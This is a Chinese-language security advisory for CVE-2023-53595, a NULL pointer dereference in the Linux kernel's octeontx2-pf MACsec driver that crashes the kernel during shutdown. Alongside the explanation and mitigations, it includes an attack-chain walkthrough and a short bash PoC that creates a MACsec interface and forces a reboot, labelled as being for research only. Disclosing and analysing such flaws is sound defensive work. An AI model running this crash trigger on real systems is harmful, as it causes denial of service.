IPBUF安全漏洞报告
English
CVE-2023-53595 CVSS 5.5 中危

CVE-2023-53595 Linux内核octeontx2-pf MACsec模块空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53595
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 octeontx2-pf 驱动(MACsec模块)

相关标签

Linux内核空指针解引用octeontx2-pfMACsec本地拒绝服务内核崩溃Marvell OCTEON TX2网络驱动漏洞CVE-2023-53595

漏洞概述

CVE-2023-53595是Linux内核中octeontx2-pf驱动MACsec(Media Access Control Security)子系统的一个空指针解引用漏洞。该漏洞由社区开发者发现并修复,CVSS评分为5.5分,属于中危级别。该漏洞源于在系统重启过程中,当系统已经创建了macsec网络接口时,驱动模块的清理(teardown)顺序不正确,导致在关闭网络设备时触发空指针解引用,造成内核崩溃(kernel panic)。从漏洞描述中的内核调用栈可以看出,问题出现在cn10k_mdo_del_secy和cn10k_mdo_stop等函数中,这些函数在处理MACsec安全实体(SecY)删除和设备停止操作时,未正确检查指针有效性便进行解引用操作。攻击者需要具有本地低权限访问权限,但无需用户交互即可触发该漏洞。虽然该漏洞不会导致机密性泄露或数据完整性破坏,但会造成系统可用性的完全丧失(内核崩溃),影响系统正常运行。该漏洞影响基于Marvell OCTEON TX2系列硬件平台运行Linux内核的系统。

技术细节

该漏洞的根本原因是octeontx2-pf驱动中MACsec子系统的资源清理顺序不当。具体技术细节如下:

1. **触发场景**:当系统上存在通过octeontx2-pf驱动创建的MACsec网络接口时,执行系统重启操作(如reboot系统调用),内核会按照设备注销流程依次关闭网络设备。

2. **漏洞机理**:在PCI设备关闭(pci_device_shutdown)过程中,系统调用otx2_remove函数,进而通过unregister_netdev注销网络设备。这一过程触发了rollback_registered_many函数,该函数通过netdevice通知链(macsec_notify)通知MACsec子系统执行清理操作。

3. **崩溃路径**:在清理过程中,MACsec子系统调用cn10k_mdo_del_secy或cn10k_mdo_stop函数尝试访问已分配的资源,但由于teardown顺序错误,相关的数据结构(如secy或mcs私有数据)在此之前已被释放或置空,导致空指针解引用。

4. **崩溃点**:从调用栈可以看出,崩溃发生在指令`f9400060`(ldr指令,用于从内存加载数据),尝试从空地址(0x0000000000000000)读取数据。

5. **修复方案**:通过调整teardown顺序,确保在删除MACsec安全实体和停止设备之前,相关的数据结构仍然有效,避免空指针访问。

该漏洞的利用需要本地访问权限,攻击者可以通过创建MACsec接口然后触发系统重启来使系统崩溃,属于本地拒绝服务(DoS)攻击。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核的Marvell OCTEON TX2平台上获得本地访问权限,需要具备CAP_NET_ADMIN权限或root权限来创建MACsec网络接口。
STEP 2
步骤2:创建MACsec接口
使用ip link命令在octeontx2-pf驱动的物理网络接口上创建MACsec虚拟接口,例如:ip link add link eth0 macsec0 type macsec,并将接口启用。
STEP 3
步骤3:触发系统重启
执行reboot命令或通过其他方式触发系统重启,系统在关闭过程中会调用otx2_remove函数清理PCI设备。
STEP 4
步骤4:触发空指针解引用
在设备注销过程中,由于teardown顺序错误,cn10k_mdo_del_secy或cn10k_mdo_stop函数访问已被释放的资源,导致空指针解引用,内核崩溃。
STEP 5
步骤5:系统不可用
内核崩溃导致系统完全不可用,需要手动重启恢复,造成拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53595 PoC - Trigger NULL pointer dereference in octeontx2-pf MACsec module # This PoC demonstrates how to trigger the vulnerability on affected systems # Requirements: Linux kernel with octeontx2-pf driver, root or CAP_NET_ADMIN privileges #!/bin/bash # Step 1: Create a MACsec interface on top of the octeontx2-pf device # Replace eth0 with the actual interface name using octeontx2-pf driver PHY_IF="eth0" MACSEC_IF="macsec0" # Create MACsec interface ip link add link $PHY_IF $MACSEC_IF type macsec # Step 2: Bring up the MACsec interface ip link set $MACSEC_IF up ip link set $PHY_IF up # Step 3: Trigger system reboot to trigger the NULL pointer dereference # The crash occurs during device shutdown when teardown order is incorrect echo "Triggering reboot to crash the kernel..." sleep 2 reboot -f # After the reboot command, the kernel will crash with: # Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 # Call trace: # cn10k_mdo_del_secy+0x24/0x180 # macsec_common_dellink+0xec/0x120 # macsec_notify+0x17c/0x1c0 # ... # otx2_remove+0x8c/0x310 # pci_device_shutdown+0x30/0x70 # device_shutdown+0x11c/0x204

影响范围

Linux kernel < 6.1.63
Linux kernel 6.2 < 6.2.13
Linux kernel 6.3 < 6.3.2
Linux kernel 6.4 < 6.4.10
Linux kernel 6.5 < 6.5.2

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)避免在受影响的系统上创建MACsec网络接口;2)如果已创建MACsec接口,在重启系统前先手动删除该接口(ip link delete macsec0);3)限制普通用户的CAP_NET_ADMIN权限,防止未经授权创建MACsec接口;4)使用kpatch或kgraft等热补丁工具应用社区提供的修复补丁而无需重启系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表